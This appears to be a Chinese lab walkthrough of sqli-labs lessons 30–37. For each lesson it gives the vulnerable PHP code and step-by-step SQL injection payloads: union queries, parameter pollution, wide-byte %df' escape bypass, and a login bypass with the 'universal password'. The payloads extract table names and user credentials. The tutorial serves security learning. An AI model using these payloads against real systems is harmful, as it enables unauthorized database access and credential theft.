AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

WEB常见漏洞之SQL注入（靶场篇—2）4

2023-05-20 98
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
本文涉及的产品
RDS MySQL Serverless 基础系列，0.5-2RCU 50GB
推荐场景：
学生管理系统数据库设计 搭建个人博客
云数据库 RDS MySQL，集群系列 2核4GB
推荐场景：
搭建个人博客
RDS MySQL Serverless 高可用系列，价值2615元额度，1个月
简介： WEB常见漏洞之SQL注入（靶场篇—2）4

Lesson-30

该题为双引号get型注入，利用方式包括联合查询注入、布尔盲注、时间盲注


id=1

一旦输入错误会重定向hacked.jsp


目标SQL语句如下：

//index.php
$id=$_GET['id']
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    输出存在错误;
//login.php
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    输出存在错误;
function whitelist($input)
{
  $match = preg_match("/^\d+$/", $input);
  if($match)
  {
    //echo "you are good";
    //return $match;
  }
  else
  {  
    header('Location: hacked.php');
    //echo "you are bad";
  }
}
function java_implimentation($query_string)
{
  $q_s = $query_string;
  $qs_array= explode("&",$q_s);
  foreach($qs_array as $key => $value)
  {
    $val=substr($value,0,2);
    if($val=="id")
    {
      $id_value=substr($value,3,30); 
      return $id_value;
      echo "<br>";
      break;
    }
  }
}

注意：该题的利用方式与lesson29类似，只不过拼接方式由单引号转换为双引号，同时不再输出详细的MySQL报错信息，因此无法使用报错注入进行攻击

使用联合查询判断注入点，尝试验证


id=1&id=1" and "1"="1 //返回正常界面


id=1&id=1" and "1"="2 //返回错误界面

判断字段数


id=1&id=1" order by 3--+ //返回正确界面


id=1&id=1" order by 4--+ //返回报错界面

由此可说明字段数为3，通过 union select 查看回显位置


id=1&id=-1" union select 1,2,3--+


查询基础信息

id=1&id=-1" union select 1,user(),3--+
id=1&id=-1" union select 1,version(),3--+
id=1&id=-1" union select 1,database(),3--+


640.png

查询表名


id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询列名


id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


查询关键信息


id=1&id=-1" union select 1,group_concat(username),group_concat(password) from users--+

Lesson-31

该题为单括号双引号get型注入，利用方式包括联合查询注入、布尔盲注、时间盲注


id=1

一旦输入错误会重定向hacked.jsp

目标SQL语句如下：

//index.php
$id=$_GET['id']
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE (id=$id) LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());
//login.php
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());
function whitelist($input)
{
  $match = preg_match("/^\d+$/", $input);
  if($match)
  {
    //echo "you are good";
    //return $match;
  }
  else
  {  
    header('Location: hacked.php');
    //echo "you are bad";
  }
}
function java_implimentation($query_string)
{
  $q_s = $query_string;
  $qs_array= explode("&",$q_s);
  foreach($qs_array as $key => $value)
  {
    $val=substr($value,0,2);
    if($val=="id")
    {
      $id_value=substr($value,3,30); 
      return $id_value;
      echo "<br>";
      break;
    }
  }
}

注意：该题的利用方式与lesson30类似，只不过拼接方式由双引号转换为单括号双引号

使用联合查询判断注入点，尝试验证


id=1&id=1") and ("1")=("1 //返回正常界面


id=1&id=1" and "1"="2 //返回错误界面

判断字段数


id=1&id=1") order by 3--+ //返回正确界面


id=1&id=1") order by 4--+ //返回报错界面

由此可说明字段数为3，通过 union select 查看回显位置


id=1&id=-1") union select 1,2,3--+


查询基础信息

id=1&id=-1") union select 1,user(),3--+
id=1&id=-1") union select 1,version(),3--+
id=1&id=-1") union select 1,database(),3--+

640.png

查询表名


id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+


查询列名


id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


查询关键信息


id=1&id=-1") union select 1,group_concat(username),group_concat(password) from users--+


Lesson-32

该题为单引号get型注入，利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下：

$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    $string = preg_replace('/\'/i', '\\\'', $string);
    $string = preg_replace('/\"/', "\\\"", $string);
    return $string;
}

注意：该题采用了新的过滤规则，将常用的单双引号、反斜杠等敏感字符都进行了反斜杠转义，我们需要去除反斜杠，因此可使用宽字节注入进行绕过

如果程序的默认字符集为 GBK 等宽字节字符集时，就有可能产生宽字节注入。MySQL 在使用 GBK 编码时会认为两个字符是一个汉字，例如%aa%5c就会被 MySQL 认为是一个汉字。而\字符的 URL 编码为%5c，'字符的 URL 编码为%27，当我们输入%df%27时由于目标对'字符进行了过滤，因此输出为%df%5c%27，%df%5c被 MySQL 当做了汉字，而%27则被当做单独的符号使用。

需要注意的是只有前一个 ASCII 码大于128才能到达汉字范围，因此不只是%df，理论上来说%81-%FE均可用于宽字节注入。

由于旧版本的 MySQL 安装时，会有编码问题导致中文乱码。因此需要查看 MySQL 中的编码类型


SHOW VARIABLES LIKE 'character%';


使用联合查询判断注入点，尝试验证


id=1%df' //返回报错界面


id=1%df'--+ //返回正常界面

判断字段数


id=1%df' order by 3--+ //返回正确界面



id=1%df' order by 4--+ //返回报错界面

由此可说明字段数为3，通过 union select 查看回显位置


id=-1%df' union select 1,2,3--+

查询基础信息

id=-1%df' union select 1,user(),3--+
id=-1%df' union select 1,version(),3--+
id=-1%df' union select 1,database(),3--


640.png

查询表名，将原先的输出库名的'转换为database()函数，当然也可以转换为十进制输出


id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

查询列名


id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

查询关键信息


id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-33

该题为单引号get型注入，利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下：

$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());
function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

注意：该题与Lesson32的利用方式相同，只不过更换了过滤函数addslashes()，该函数可在预定义字符之前添加反斜杠\的字符串

addslashes()函数预定义字符如下：

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • 空字符 NULL

默认情况下 PHP 对所有GET、POST和COOKIE请求数据执行addslashes()。所以不应对已转义过的字符串使用addslashes()，这样会导致二次转义。遇到这种情况我们可以使用函get_magic_quotes_gpc()进行检测。stripslashes()函数可删除由addslashes()函数添加的反斜杠。实际上它与Lesson32的过滤功能类似，都可以使用宽字节进行注入。

使用联合查询判断注入点，尝试验证


id=1%df' //返回报错界面


id=1%df'--+ //返回正常界面


判断字段数


id=1%df' order by 3--+ //返回正确界面


id=1%df' order by 4--+ //返回报错界面

由此可说明字段数为3，通过 union select 查看回显位置


id=-1%df' union select 1,2,3--+

查询基础信息

id=-1%df' union select 1,user(),3--+
id=-1%df' union select 1,version(),3--+
id=-1%df' union select 1,database(),3--+

640.png

查询表名，将原先的输出库名的'转换为database()函数，当然也可以转换为十进制输出


id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

查询列名


id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

查询关键信息


id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-34

该题为单引号post型注入，利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注，登录界面以 post 方式接收变量

目标SQL语句如下：

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意：该题与Lesson33的利用方式相同，只不过将请求方式由GET转换为POST，但POST中不能进行URLencode，可使用UTF-8转UTF-16或UTF-32，登录成功或失败会返回不同的图片

使用iconv命令进行 UTF 编码转换，从表面上看这是个乱码字符

echo \'|iconv -f utf-8 -t utf-16
echo \'|iconv -f utf-8 -t utf-32

640.png

截取登录请求包并复制以上乱码字符使用万能密码进行登录，成功登录


uname=admin�'%20or%201#&passwd=admin&submit=Submit

那为什么这个万能密码能够生效呢？我们尝试将其代入SQL语句当中


SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;

需要注意的是这里的or 1是or 1=1的简化写法，只要是永真条件均可，同样的还有or true、or 2>1等

使用联合查询判断字段数


uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面


uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面

由此可说明字段数为2，通过 union select 查看回显位置


uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit

查询基础信息

uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submit
uname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit

640.png

查询表名，将原先的输出库名的'转换为database()函数，当然也可以转换为十进制输出


uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit

查询列名


uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit

查询关键信息


uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit


Lesson-35

该题为数字型get型注入，利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下：

$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

注意：该题的过滤方式非常有意思，使用addslashes()函数过滤的是字符串，但在SQL语句中拼接的是字符，因此实际注入与平常的数字型注入无差别

使用联合查询判断注入点


id=1 and 1=1 //返回正确界面


id=1 and 1=2 //返回错误界面

判断字段数


id=1 order by 3# //返回正常界面


id=1 order by 4# //返回报错界面

由此可说明字段数为3，通过 union select 查看回显位置


id=-1 union select 1,2,3#

查询基础信息



id=-1 union select 1,user(),version()#id=-1 union select 1,database(),3#

查询表名，将原先的输出库名的'转换为database()函数，当然也可以转换为十进制输出


id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询列名


id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

查询关键信息


id=-1 union select 1,group_concat(username),group_concat(password) from users#

Lesson-36

该题为单引号get型注入，利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下：


$id=check_quotes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

注意：该题与Lesson33的利用方式相同，只不过更换了过滤函数mysql_real_escape_string()，该函数可在预定义字符之前添加反斜杠\的字符串

mysql_real_escape_string()函数预定义字符如下：

  • 单引号 '
  • 双引号 "
  • 反斜杠 \

mysql_real_escape_string()函数可转义 SQL 语句中使用的字符串中的特殊字符。与Lesson32的过滤功能类似，都可以使用宽字节进行注入。

使用联合查询判断注入点，尝试验证


id=1%df' //返回报错界面



id=1%df'--+ //返回正常界面

判断字段数


id=1%df' order by 3--+ //返回正确界面


id=1%df' order by 4--+ //返回报错界面

由此可说明字段数为3，通过 union select 查看回显位置


id=-1%df' union select 1,2,3--+

查询基础信息

id=-1%df' union select 1,user(),3--+
id=-1%df' union select 1,version(),3--+
id=-1%df' union select 1,database(),3--+


640.png

查询表名，将原先的输出库名的'转换为database()函数，当然也可以转换为十进制输出


id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+


查询列名


id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

查询关键信息


id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-37

该题为单引号post型注入，利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注，登录界面以 post 方式接收变量

目标SQL语句如下：

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意：该题与Lesson36的利用方式相同，只不过将请求方式由GET转换为POST，但POST中不能进行URLencode，可使用UTF-8转UTF-16或UTF-32，登录成功或失败会返回不同的图片

使用iconv命令进行 UTF 编码转换，从表面上看这是个乱码字符

echo \'|iconv -f utf-8 -t utf-16
echo \'|iconv -f utf-8 -t utf-32


640.png

截取登录请求包并复制以上乱码字符使用万能密码进行登录，成功登录

uname=admin�'%20or%201#&passwd=admin&submit=Submit


那为什么这个万能密码能够生效呢？我们尝试将其代入SQL语句当中



SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;

需要注意的是这里的or 1是or 1=1的简化写法，只要是永真条件均可，同样的还有or true、or 2>1等

使用联合查询判断字段数


uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面



uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面

由此可说明字段数为2，通过 union select 查看回显位置


uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit

查询基础信息

uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submit
uname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit


640.png


查询表名，将原先的输出库名的'转换为database()函数，当然也可以转换为十进制输出


uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit

查询列名


uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit

查询关键信息


uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit


0x02 总结

该靶场是学习 SQL 注入的好途径，刷完全部题目后面对 SQL 注入的了解有很大帮助，整个靶场以 MySQL + PHP 搭建环境为主，根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入，我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑，确定了这些后再想方设法绕过站点中的 一些限制性因素情况等，其实这就是手工注入的魅力，当然会使用 sqlmap 也是一件好事，有了手工+自动两种方式的结合，在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了21-37关高级注入的通关教程。




文章标签：
云数据库 RDS MySQL 版
PHP
应用服务中间件
SQL
关系型数据库
Linux
Windows
数据安全/隐私保护
MySQL
安全
关键词：
SQL漏洞
web漏洞
SQL注入
web注入
web sql
相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL，然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心，利用清洁计算为万物互联的新世界提供源源不断的能源动力，目前开服的区域包括中国（华北、华东、华南、香港）、新加坡、美国（美东、美西）、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程，来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品：云服务器ECS 云服务器 ECS（Elastic Compute Service）是一种弹性可伸缩的计算服务，助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
云梦吖
目录
相关文章
sunyalei
|
7天前
|
SQL 安全 数据库
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞？
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞？
sunyalei
101 77
GG2020gg
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
GG2020gg
214 1
sunyalei
|
7天前
|
SQL 安全 数据库连接
除了使用Django的ORM，还能通过什么方式在Django中避免SQL注入漏洞？
除了使用Django的ORM，还能通过什么方式在Django中避免SQL注入漏洞？
sunyalei
34 17
蓝易云
|
11天前
|
SQL 存储 XML
常见Web漏洞分析与防范研究
在以上内容中，结合OWASP、Toptal和Brightsec等权威来源的信息，确保回答的专业性和准确性。通过图表和思维导图的方式，可以更系统地了解和记忆Web安全知识，帮助企业在实际应用中更好地防范各种安全威胁。
蓝易云
46 13
蓝易云
|
2月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式，攻击者可以通过 `UNION`语句合并多个查询的结果，从而获取敏感信息。防御SQL注入需要多层次的措施，包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施，可以有效地提高Web应用程序的安全性，防止SQL注入攻击。
蓝易云
76 2
游客qsxez56gggwqy
|
3月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
游客qsxez56gggwqy
38 1
1100237741946300
|
3月前
|
SQL 运维 安全
怎样可以找到SQL漏洞：技巧与方法详解
SQL漏洞，特别是SQL注入漏洞，是Web应用中常见的安全威胁之一
1100237741946300
122 0
boxti
|
Web App开发 JavaScript 安全
研究表明Web充斥着存在漏洞的过期JavaScript库
boxti
1387 0
土木林森
|
3月前
|
XML JSON API
ServiceStack：不仅仅是一个高性能Web API和微服务框架，更是一站式解决方案——深入解析其多协议支持及简便开发流程，带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架，支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程，提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑，安装简单，通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务，包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议，具备自动验证、自动过滤器等丰富功能，适合快速搭建高性能、可扩展的服务端应用。
土木林森
213 3
游客vr7vlllms7w34
|
1月前
|
前端开发 安全 JavaScript
2025年，Web3开发学习路线全指南
本文提供了一条针对Dapp应用开发的学习路线，涵盖了Web3领域的重要技术栈，如区块链基础、以太坊技术、Solidity编程、智能合约开发及安全、web3.js和ethers.js库的使用、Truffle框架等。文章首先分析了国内区块链企业的技术需求，随后详细介绍了每个技术点的学习资源和方法，旨在帮助初学者系统地掌握Dapp开发所需的知识和技能。
游客vr7vlllms7w34
125 1
2025年，Web3开发学习路线全指南

热门文章

最新文章

  • 1
    预编译为什么能防止SQL注入?
  • 2
    Flink SQL Deduplication 去重以及如何获取最新状态操作
  • 3
    SQL优化有绝招，使用DAS提升工作效率！完成任务可领取保暖手套！
  • 4
    如何在 Java 代码中使用 JSqlParser 解析复杂的 SQL 语句？
  • 5
    日志服务 SQL 引擎全新升级
  • 6
    使用访问指导(SQL Access Advisor)优化数据库业务负载
  • 7
    Java使用sql查询mongodb
  • 8
    【MySQL基础篇】全面学习总结SQL语法、DataGrip安装教程
  • 9
    如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞？
  • 10
    除了使用Django的ORM，还能通过什么方式在Django中避免SQL注入漏洞？
  • 1
    深入理解Python Web开发中的前后端分离与WebSocket实时通信技术
    108
  • 2
    前后端分离的进化：Python Web项目中的WebSocket实时通信解决方案
    123
  • 3
    Web Vitals：提升网页用户体验的关键技术
    113
  • 4
    PHP 8：探索新特性及其对现代Web开发的影响
    55
  • 5
    从理论到实践：全面剖析Python Web应用中的WebSocket实时通信机制
    344
  • 6
    Web1.0、Web2.0 和 Web3.0 的区别
    747
  • 7
    关于如何提高Web服务端并发效率的异步编程技术
    103
  • 8
    带你读《阿里云产品五月刊》——十九、Web应用防火墙 新功能/规格
    71
  • 9
    不可错过的 Web 开发工具
    51
  • 10
    Python Web应用中的WebSocket实战：前后端分离时代的实时数据交换
    341

    • 相关课程

    更多
  • Python Web开发基础
  • Java Web开发系列课程 - Spring框架入门
  • 企业Web常用架构LAMP-LNMP实战
  • 高校精品课-西安交通大学-Web 编程技术
  • Java Web项目实战 - 图书商城
  • Java面试疑难点解析 - Java Web开发

    • 相关电子书

    更多
  • Web应用系统性能优化
  • 高性能Web架构之缓存体系
  • PWA:移动Web的现在与未来

    • 相关实验场景

    更多
  • 一小时快速掌握 SQL 语法
  • PolarDB for AI：在数据库中通过SQL实现AI能力
  • 玩转MaxCompute SQL! 30分钟搞定数据分析挖掘
  • 使用SLB+2ECS+NAS，部署电商web网站的高可用架构
  • 1分钟SAE部署Web在线游戏
  • 云上Web及FTP
    • 下一篇
    阿里云开通OSS存储服务详细流程